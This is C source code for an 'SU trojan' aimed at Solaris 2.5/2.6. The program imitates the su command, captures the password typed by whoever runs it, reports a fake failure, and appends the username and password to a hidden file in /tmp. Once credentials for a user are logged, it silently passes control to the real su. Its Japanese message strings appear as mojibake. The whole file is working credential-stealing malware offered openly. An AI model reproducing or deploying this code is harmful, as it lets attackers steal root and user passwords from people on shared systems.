SU trojan for Solaris2.5
55fb124bfca319c507f664170de672439a7c1d8d4cca67cebf1f05fef5b415dd
/* SU ¥È¥í¥¤ for Solaris 2.5,2.6ÆüËܸìÈÇ by UNYUN */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pwd.h>
#define MSG_INP "Password:"
#define MSG_ERR "su: ¿·¤·¤¤¥æ¡¼¥¶¤ËÊѹ¹¤Ç¤¤Þ¤»¤ó¡£"
#define MSG_NOID "su: ID ¤¬Àµ¤·¤¯¤¢¤ê¤Þ¤»¤ó: "
#define MSG_WAIT 5
#define REAL_SU "/bin/su"
#define LOGFILE "/tmp/.mailer_socket"
#define MAX_USERNAME 200
#define MAX_PASSWD 200
main(argc,argv)
int argc;
char *argv[];
{
char x[MAX_PASSWD];
struct passwd *pwd;
char user[MAX_USERNAME];
char passwd[MAX_PASSWD];
char temp1[MAX_USERNAME],temp2[MAX_PASSWD];
FILE *fp;
int flag=0;
int uid=getuid();
if (argc==1) strcpy(user,"root");
else strcpy(user,argv[1]);
if ((fp=fopen(LOGFILE,"r"))!=NULL){
for (;;){
if (feof(fp)) break;
fscanf(fp,"%s",temp1);
fscanf(fp,"%s",temp2);
if (strcmp(user,temp1)==0){
flag=1;
break;
}
}
fclose(fp);
}
pwd=getpwuid(uid);
if (flag==1 || uid==0 || strcmp(pwd->pw_name,user)==0){
sprintf(temp1,"%s %s",REAL_SU,user);
system(temp1);
exit(1);
}
if (argc>1){
if ((pwd=getpwnam(user))==NULL){
sleep(MSG_WAIT);
printf("%s%s\n",MSG_NOID,user);
exit(1);
}
}
strcpy(x,getpass(MSG_INP));
sleep(MSG_WAIT);
printf("%s\n",MSG_ERR);
if ((fp=fopen(LOGFILE,"a"))!=NULL){
fprintf(fp,"%s\t%s\n",user,x);
fclose(fp);
}
}